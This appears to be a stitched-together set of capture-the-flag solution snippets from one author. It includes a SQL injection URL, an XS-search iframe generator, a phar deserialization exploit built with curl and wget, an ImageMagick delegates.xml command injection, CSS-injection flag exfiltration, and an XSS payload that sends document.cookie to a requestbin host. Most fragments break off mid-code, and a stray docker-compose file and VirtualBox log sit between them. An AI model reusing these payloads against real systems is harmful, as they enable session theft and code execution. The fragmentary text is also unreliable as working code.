tyage

#!/usr/bin/env python3

import random
import sys

FLAG_LENGTH = 42
OPS_CURSOR = 0
RESULT_CURSOR = 0

TIME = 157763354

tyage

logfilter3000

http://challenges.openctf.cat:9008/?id%3d1%20union%20select%201,hidden,1,%221974-10-07%2011:46:04%22%20from%20log_entry%20where%201%20or%201=1

Flip the Script

/*'/*"+/.*/+target.exploit//

tyage

<?php
$prefix = "";
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; }
for ($i = 20; $i <= 126; $i++) {
  echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>";
}
?>

<script>
Array.from(document.querySelectorAll('iframe')).forEach(f => {

tyage

IMAGE=$(curl http://153.127.202.154:1002/upload.php -F "[email protected]" -vvv 2>&1 | grep Set-Cookie | sed -r 's/^.*session=([^.]+).*$/\1/' | base64 -d 2>/dev/null | sed -r 's/^.*avatar":"([^"]+).*$/\1/')
echo $IMAGE

wget http://153.127.202.154:1002/uploads/$IMAGE

node -e "function btoa(str) {    var buffer;  if (Buffer.isBuffer(str)) {    buffer = str;  }  else {    buffer = new Buffer(str.toString(), 'binary');  }  return buffer.toString('base64');};console.log('session=' + btoa('{\"name\":\"AAAAAAAAAAAAAAAA\",\"flash\":{\"type\":\"error\",\"message\":\"Uploaded file is not PNG format.\"},\"theme\":\"phar://./uploads/$IMAGE/exploit\"}').replace(/=/g,'') + '.JDJ5JDEwJC5LS1h0UnlUbC5OeHhWVHdFRXovZ095N2taU3NPTXBhTDRnMi4yNXkwMnQ3eHp1dW16SzVt')" > cookie

COOKIE=$(cat cookie)
echo $COOKIE

tyage

<?php
$home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
ini_set('display_errors', 1); 
mkdir("$home/.magick/");
file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;

tyage

<?php

$encrypted_block = 'PKklQOstCkI=';

$message = '';
$charset = '_-abcdefghijklmnopqrstuvwxyz0123456789';
$str_length = strlen($charset);
$method = 'DES-ECB';

function check($flag) {

tyage

version: '3'

services:
  dockerauth:
    image: cesanta/docker_auth
    ports:
      - "5001:5001"
    volumes:
      - ./config:/config:ro
      - ./log:/logs

tyage

prefix = 'L0LC47S_43V3R'
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
setTimeout(() => {
fetch(`send?name=${encodeURIComponent('/secret wao; Domain=a.cat-chat.web.ctfcompetition.com')}&msg=dog`)
}, 2000);
setTimeout(() => {
let payload = ''
for(let i = '0'.charCodeAt(0); i <= '9'.charCodeAt(0); ++i) {
  let a = String.fromCharCode(i)
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`

tyage

<script>location.href="//requestbin.fullcontact.com/15g8ko51?"+document.cookie</script>
<iframe src=/profile.php?id=c7ab51c5bdeec6bc6068d8a643a29907a1b7c71acb455454381fe7320cd5283e id=msg csp="script-src 'unsafe-inline';">

tyage

VirtualBox VM 5.2.10_Ubuntu r121806 linux.amd64 (Apr 26 2018 08:49:04) release log
00:00:00.267421 Log opened 2018-05-26T05:35:20.048575000Z
00:00:00.267422 Build Type: release
00:00:00.267424 OS Product: Linux
00:00:00.267425 OS Release: 4.15.0-22-generic
00:00:00.267425 OS Version: #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018
00:00:00.267439 DMI Product Name: System Product Name
00:00:00.267443 DMI Product Version: System Version
00:00:00.267471 Host RAM: 32165MB (31.4GB) total, 30320MB (29.6GB) available
00:00:00.267473 Executable: /usr/lib/virtualbox/VirtualBox